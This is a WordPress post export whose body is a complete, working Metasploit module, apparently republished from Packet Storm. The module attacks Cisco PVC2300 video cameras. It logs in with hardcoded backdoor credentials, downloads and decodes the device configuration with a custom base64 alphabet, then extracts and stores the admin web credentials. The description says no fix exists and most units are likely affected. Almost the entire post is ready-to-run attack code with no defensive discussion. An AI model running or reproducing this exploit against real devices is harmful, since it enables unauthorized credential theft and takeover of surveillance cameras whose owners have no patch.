{"id":59292,"date":"2024-08-31T22:30:26","date_gmt":"2024-08-31T19:30:26","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180625\/cisco_pvc2300_download_config.rb.txt"},"modified":"2024-08-31T22:30:26","modified_gmt":"2024-08-31T19:30:26","slug":"cisco-pvc2300-poe-video-camera-configuration-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cisco-pvc2300-poe-video-camera-configuration-download\/","title":{"rendered":"Cisco PVC2300 POE Video Camera Configuration Download"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>{<br \/>&#8216;Name&#8217; =&gt; &#8216;Cisco PVC2300 POE Video Camera configuration download&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order<br \/>to download the configuration file containing the admin credentials for the web interface.<\/p>\n<p>The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the<br \/>module attempts to obtain a sessionID via an HTTP GET request to the vulnerable \/oamp\/System.xml<br \/>endpoint using hardcoded credentials.<\/p>\n<p>If a session ID is obtained, the module uses it in another HTTP GET request to \/oamp\/System.xml<br \/>with the aim of downloading the configuration file. The configuration file, if obtained, is then<br \/>decoded and saved to the loot directory. Finally, the module attempts to extract the admin<br \/>credentials to the web interface from the decoded configuration file.<\/p>\n<p>No known solution was made available for this vulnerability and no CVE has been published. It is<br \/>therefore likely that most (if not all) Cisco PVC2300 cameras are affected.<\/p>\n<p>This module was successfully tested against several Cisco PVC2300 cameras.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Craig Heffner&#8217;, # vulnerability discovery and PoC<br \/>&#8216;Erik Wynter&#8217;, # @wyntererik &#8211; Metasploit<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/paper.bobylive.com\/Meeting_Papers\/BlackHat\/USA-2013\/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf&#8217; ], # blackhat presentation &#8211; unofficial source<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/media.blackhat.com\/us-13\/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf&#8217;], # blackhat presentation &#8211; official source (not working)<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.youtube.com\/watch?v=B8DjTcANBx0&#8217;] # full blackhat presentation<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-07-12&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def custom_base64_alphabet<br \/>&#8216;ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+&#8217;<br \/>end<\/p>\n<p>def default_base64_alphabet<br \/>&#8216;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/&#8217;<br \/>end<\/p>\n<p>def request_session_id<br \/>vprint_status(&#8216;Attempting to obtain a session ID&#8217;)<br \/># the creds used here are basically a backdoor<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;oamp&#8217;, &#8216;System.xml&#8217;),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;login&#8217;,<br \/>&#8216;user&#8217; =&gt; &#8216;L1_admin&#8217;,<br \/>&#8216;password&#8217; =&gt; &#8216;L1_51&#8217;<br \/>}<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unknown, &#8216;Connection failed when trying to obtain a session ID&#8217;)<br \/>end<\/p>\n<p>unless res.code == 200<br \/>fail_with(Failure::NotVulnerable, &#8220;Received unexpected response code #{res.code} while trying to obtain a session ID.&#8221;)<br \/>end<\/p>\n<p>if res.headers.include?(&#8216;sessionID&#8217;) &amp;&amp; !res.headers[&#8216;sessionID&#8217;].blank?<br \/>session_id = res.headers[&#8216;sessionID&#8217;]print_status(&#8220;The target may be vulnerable. Obtained sessionID #{session_id}&#8221;)<br \/>return session_id<br \/>end<\/p>\n<p># try to check the status message in the response body<br \/># the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly<br \/>status = res.body.scan(%r{&lt;statusString&gt;(.*?)&lt;\/statusString&gt;})&amp;.flatten&amp;.first&amp;.strip<br \/>if status.blank?<br \/>fail_with(Failure::NotVulnerable, &#8216;Failed to obtain a session ID.&#8217;)<br \/>end<\/p>\n<p>if status == &#8216;try it later&#8217;<br \/>fail_with(Failure::Unknown, &#8220;Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.&#8221;)<br \/>else<br \/>fail_with(Failure::NotVulnerable, &#8220;Failed to obtain a session ID. The server responded with status: #{status}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def download_config_file(session_id)<br \/>vprint_status(&#8216;Attempting to download the configuration file&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;oamp&#8217;, &#8216;System.xml&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;sessionID&#8217; =&gt; session_id<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;downloadConfigurationFile&#8217;<br \/>}<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unknown, &#8216;Connection failed when trying to download the configuration file&#8217;)<br \/>end<\/p>\n<p>unless res.code == 200 &amp;&amp; !res.body.empty?<br \/>fail_with(Failure::NotVulnerable, &#8216;Failed to obtain the configuration file&#8217;)<br \/>end<\/p>\n<p># if the exploit doesn&#8217;t work, the response body should be empty. So if we have anything, we can assume we&#8217;re in business<br \/>res.body<br \/>end<\/p>\n<p>def decode_config_file(config_file_encoded)<br \/># if we&#8217;ve made it all the way here, this shouldn&#8217;t break, but better safe than sorry<br \/>begin<br \/>config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)<br \/>config_file_decoded = Base64.decode64(config_file_base64)<br \/>rescue StandardError =&gt; e<br \/>print_error(&#8216;Encountered the following error when attempting to decode the configuration file:&#8217;)<br \/>print_error(e)<br \/>fail_with(Failure::Unknown, &#8216;Failed to decode the configuration file&#8217;)<br \/>end<\/p>\n<p># let&#8217;s just save the full config at this point<br \/>path = store_loot(&#8216;ciscopvc.config&#8217;, &#8216;text\/plain&#8217;, rhost, config_file_decoded)<br \/>print_good(&#8216;Successfully downloaded the configuration file&#8217;)<br \/>print_status(&#8220;Saving the full configuration file to #{path}&#8221;)<\/p>\n<p># let&#8217;s see if we can grab the device name from the config file<br \/>if config_file_decoded =~ \/comment=.*? Video Camera\/<br \/>device_name = config_file_decoded.scan(\/comment=(.*?)$\/)&amp;.flatten&amp;.first&amp;.strip<br \/>unless device_name.blank?<br \/>print_status(&#8220;Obtained device name #{device_name}&#8221;)<br \/>end<br \/>end<\/p>\n<p># try to grab the admin username and password from the config file<br \/>admin_name = nil<br \/>admin_password = nil<br \/>if config_file_decoded.include?(&#8216;admin_name&#8217;)<br \/>admin_name = config_file_decoded.scan(\/admin_name=(.*?)$\/)&amp;.flatten&amp;.first&amp;.strip<br \/>end<\/p>\n<p>if config_file_decoded.include?(&#8216;admin_password&#8217;)<br \/>admin_password = config_file_decoded.scan(\/admin_password=(.*?)$\/)&amp;.flatten&amp;.first&amp;.strip<br \/>end<\/p>\n<p>if admin_name.blank? &amp;&amp; admin_password.blank?<br \/>print_error(&#8216;Failed to obtain the admin credentials from the configuration file&#8217;)<br \/>else<br \/>print_good(&#8216;Obtained the following admin credentials for the web interface from the configuration file:&#8217;)<br \/>print_status(&#8220;admin username: #{admin_name}&#8221;)<br \/>print_status(&#8220;admin password: #{admin_password}&#8221;)<br \/># save the creds to the db<br \/>report_creds(admin_name, admin_password)<br \/>end<br \/>end<\/p>\n<p>def report_creds(username, password)<br \/>service_data = {<br \/>address: datastore[&#8216;RHOST&#8217;],<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>service_name: &#8216;http&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>module_fullname: fullname,<br \/>origin_type: :service,<br \/>private_data: password,<br \/>private_type: :password,<br \/>username: username<br \/>}.merge(service_data)<\/p>\n<p>credential_core = create_credential(credential_data)<\/p>\n<p>login_data = {<br \/>core: credential_core,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def check<br \/>res1 = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path))<\/p>\n<p>unless res1<br \/>return Exploit::CheckCode::Unknown(&#8216;Target is unreachable.&#8217;)<br \/>end<\/p>\n<p># string togetether a few checks to make it more likely we&#8217;re dealing with a Cisco camera<br \/>unless res1.code == 401 &amp;&amp; res1.headers.include?(&#8216;WWW-Authenticate&#8217;) &amp;&amp; res1.headers[&#8216;WWW-Authenticate&#8217;] == &#8216;Basic realm=&#8221;IP Camera&#8221;&#8216;<br \/>return Exploit::CheckCode::Safe(&#8216;Target is not a Cisco PVC2300 POE Video Camera&#8217;)<br \/>end<\/p>\n<p>res2 = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;oamp&#8217;, &#8216;System.xml&#8217;))<br \/>unless res2<br \/>return Exploit::CheckCode::Unknown(&#8216;Target is unreachable.&#8217;)<br \/>end<\/p>\n<p>unless res2.code == 200 &amp;&amp; res2.body =~ %r{&lt;ActionStatus&gt;&lt;statusCode&gt;.*?&lt;\/statusCode&gt;&lt;statusString&gt;.*?&lt;\/statusString&gt;&lt;\/ActionStatus&gt;}<br \/>return Exploit::CheckCode::Safe(&#8216;Target is not a Cisco PVC2300 POE Video Camera&#8217;)<br \/>end<\/p>\n<p>vprint_status(&#8216;Target seems to be a Cisco camera&#8217;)<br \/>Exploit::CheckCode::Appears<br \/>end<\/p>\n<p>def run<br \/>session_id = request_session_id<br \/>config_file = download_config_file(session_id)<br \/>decode_config_file(config_file)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,{&#8216;Name&#8217; =&gt; &#8216;Cisco PVC2300 POE Video Camera configuration download&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in orderto download the configuration file containing the admin credentials for the web interface. The &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59292","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59292"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59292\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}